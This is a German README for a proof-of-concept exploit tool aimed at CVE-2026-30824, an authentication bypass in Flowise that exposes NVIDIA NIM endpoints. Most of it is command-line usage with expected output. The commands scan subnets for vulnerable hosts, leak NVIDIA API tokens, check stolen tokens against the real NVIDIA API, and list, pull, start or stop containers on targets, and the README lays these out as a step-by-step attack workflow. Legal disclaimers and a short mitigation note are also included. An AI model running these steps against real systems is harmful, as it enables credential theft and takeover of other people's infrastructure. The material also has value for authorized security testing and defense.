
Ein Proof-of-Concept-Exploit für **CVE-2026-30824**, eine kritische Schwachstelle zur Umgehung der Authentifizierung in Flowise, die NVIDIA-NIM-API-Endpunkte ohne Authentifizierung offenlegt.
Ein Proof-of-Concept-Checker und Exploit für CVE-2026-30824, eine kritische Authentifizierungs-Bypass-Schwachstelle in Flowise, die NVIDIA-NIM-API-Endpunkte ohne Authentifizierung freigibt.
CVE-2026-30824 ist ein kritischer Authentifizierungs-Bypass in Flowise (< 3.0.13), der nicht authentifizierten Remote-Angreifern Zugriff auf die NVIDIA-NIM-Containerverwaltung und API-Token-Generierungs-Endpunkte ermöglicht.
| Feld | Wert |
|---|---|
| CVSS-Score | 9.8 (Kritisch) |
| CWE | CWE-306: Fehlende Authentifizierung für kritische Funktion |
| Betroffene Versionen | Flowise < 3.0.13 |
| Auswirkung | Vollständige Containerverwaltung, GPU-Zugriff, Token-Diebstahl |
Der Pfad /api/v1/nvidia-nim/* ist in der globalen Authentifizierungs-Middleware auf die Whitelist gesetzt, was nicht authentifizierten Zugriff ermöglicht auf:
✅ Schwachstellenerkennung — Schneller Check, ob das Ziel verwundbar ist
✅ Token-Extraktion — NVIDIA-API-Tokens aus verwundbaren Endpunkten leaken
✅ Token-Validierung — Tokens gegen die NVIDIA-API verifizieren (Blast-Radius demonstrieren)
✅ Container-Enumeration — Laufende NIM-Container auflisten
✅ Batch-Scanning — Mehrere Ziele aus einer Datei scannen
✅ SSL-Bypass — Selbstsignierte Zertifikate standardmäßig ignorieren
✅ Farbige Ausgabe — Leicht lesbare Statusindikatoren (grün/gelb/rot)
✅ Aufklärung — Vollständiges Endpunkt-Mapping und Diagnose
requests-Bibliothek# Skript klonen oder herunterladen
git clone <repository>
cd cve-2026-30824
# Abhängigkeiten installieren
pip install -r requirements.txt
# oder
pip install requests
# Prüfen, ob ein einzelnes Ziel verwundbar ist
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check
# Erwartete Ausgabe (VERWUNDBAR):
# [+] Ziel scheint VERWUNDBAR (HTTP 200)
# Antwort: {...}
# targets.txt mit einer URL pro Zeile erstellen
cat > targets.txt << EOF
http://192.168.1.100:3000
http://192.168.1.101:3000
http://192.168.1.102:3000
EOF
# Alle Ziele scannen (Schnellmodus, keine Eingabeaufforderungen)
python3 CVE-2026-30824.py -f targets.txt --scan-only
# Erwartete Zusammenfassungsausgabe:
# ============================================================
# [*] Scan-Zusammenfassung
# ============================================================
# [+] VERWUNDBAR: 2
# ✓ http://192.168.1.100:3000
# ✓ http://192.168.1.101:3000
# [-] GEPATCHT: 1
# ✗ http://192.168.1.102:3000
# NVIDIA-API-Token vom verwundbaren Endpunkt leaken
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# Erwartete Ausgabe:
# [*] Versuche, NVIDIA-API-Token zu leaken...
# [+] NVIDIA-API-Token: eyJ0eXAiOiJKV1QiLCJhbGc...
# [+] Token-Typ: Bearer
# [+] Läuft ab in: 3600s
# Verifizieren, dass ein geleaktes Token gegen die echte NVIDIA-API funktioniert
python3 CVE-2026-30824.py --validate-token "eyJ0eXAiOiJKV1QiLCJhbGc..."
# Erwartete Ausgabe:
# [*] Validiere Token gegen NVIDIA-API...
# [+] Token GÜLTIG! Zugriff auf 45 NVIDIA-NIM-Modelle.
# - mistralai/mistral-7b-instruct-v0.1
# - meta-llama/llama2-70b
# - (...)
# Container auf dem Ziel auflisten
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --list-containers
# Erwartete Ausgabe:
# [*] Liste laufender Container...
# [+] HTTP 200
# [
# {
# "id": "abc123xyz",
# "names": ["flowise_nim"],
# "image": "nvcr.io/nvidia/nim:latest",
# "state": "running"
# }
# ]
# Alle Aufklärungs-Checks auf dem verwundbaren Ziel ausführen
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
usage: CVE-2026-30824.py [-h] [-t TARGET] [-f TARGETS_FILE] [--check]
[--scan-only] [--get-token]
[--validate-token TOKEN] [--list-containers]
[--get-container CONTAINER_ID]
[--get-image IMAGE_ID] [--pull-image IMAGE_TAG]
[--start-container IMAGE_TAG]
[--container-name CONTAINER_NAME]
[--stop-container CONTAINER_ID] [--preload]
[--all] [--timeout TIMEOUT] [--debug]
Optionale Argumente:
-h, --help Diese Hilfemeldung anzeigen und beenden
-t, --target TARGET Ziel-URL (z. B. http://192.168.1.100:3000)
-f, --targets-file DATEI Datei mit Liste der Ziele (eine pro Zeile)
Schwachstellenerkennung:
--check Nur prüfen, ob das Ziel verwundbar ist
--scan-only Ziele ohne Eingabeaufforderungen auf Schwachstellen scannen
--debug Anfragedetails und Rohantworten anzeigen
Ausnutzung:
--get-token NVIDIA-API-Token leaken
--validate-token TOKEN Geleaktes Token gegen die NVIDIA-API validieren
--list-containers Laufende NIM-Container auflisten
--get-container CONTAINER_ID Containerdetails abrufen
--get-image IMAGE_ID Imagedetails abrufen
--pull-image IMAGE_TAG Ein Docker-Image pullen (z. B. nvcr.io/nvidia/nim:latest)
--start-container IMAGE_TAG Einen Container aus einem Image-Tag starten
--container-name NAME Name für den gestarteten Container
--stop-container CONTAINER_ID Einen laufenden Container stoppen
--preload Ressourcen-Preload-Endpunkt auslösen
--all Alle Aufklärungs-Checks ausführen
Erweitert:
--timeout SEKUNDEN Anfrage-Timeout in Sekunden (Standard: 15)
# 1. Gesamtes Subnetz auf verwundbare Instanzen scannen
python3 CVE-2026-30824.py -f internal_ips.txt --scan-only
# 2. Für jedes verwundbare Ziel Token extrahieren
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --get-token
# 3. Token-Auswirkung validieren
python3 CVE-2026-30824.py --validate-token "<extrahiertes-token>"
# Schwachstelle verifizieren und vollständigen Blast-Radius demonstrieren
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --all
# Dies wird:
# 1. Schwachstelle prüfen
# 2. NVIDIA-API-Token extrahieren
# 3. Token gegen die NVIDIA-API validieren
# 4. Laufende Container auflisten
# 5. Ressourcen-Enumeration anzeigen
# Ein Ziel periodisch überwachen (per cron oder Scheduler)
python3 CVE-2026-30824.py -f monitored_targets.txt --scan-only > scan_$(date +%s).log
| HTTP | Bedeutung |
|---|---|
| 200 | ✅ Verwundbar (Endpunkt zugänglich) |
| 400 | ✅ Verwundbar (Anwendungsfehler, aber Endpunkt existiert) |
Problem: Der Endpunkt gibt eine HTML-Seite statt einer JSON-API-Antwort zurück.
Lösungen:
Problem: Das Ziel kann nicht erreicht werden.
Lösungen:
# Konnektivität testen
curl -v http://192.168.1.100:3000/
# Timeout erhöhen
python3 CVE-2026-30824.py -t http://192.168.1.100:3000 --check --timeout 30
Problem: Das Ziel verwendet ein selbstsigniertes oder abgelaufenes Zertifikat.
Lösung: Das Skript deaktiviert die SSL-Verifizierung standardmäßig. Wenn Probleme weiterhin bestehen:
# Port und Protokoll explizit hinzufügen
python3 CVE-2026-30824.py -t https://192.168.1.100:3000 --check
Problem: Token extrahiert, aber die Validierung gegen die NVIDIA-API schlägt fehl.
Ursachen:
⚠️ RECHTLICHER HINWEIS
Wenn Sie diese Schwachstelle in freier Wildbahn entdecken:
Sofort:
Langfristig:
/api/v1/nvidia-nim/*-Pfade zu blockierenDieses Tool wird nur für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt. Details finden Sie in der LICENSE-Datei.
Dieser Exploit wird "wie besehen" ohne Gewährleistung bereitgestellt. Verwenden Sie ihn nur auf Systemen, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen haben. Der Autor ist nicht verantwortlich für Missbrauch oder Schäden, die durch dieses Tool verursacht werden.
Erstellt für autorisierte Penetrationstests und Sicherheitsforschung.
Zuletzt aktualisiert: April 2026
| 401 | 🟡 Gepatcht (Authentifizierung erforderlich) |
| 404 | 🟡 Kein Flowise oder Endpunkt existiert nicht |
| 5xx | 🔴 Serverfehler/falsch konfiguriert |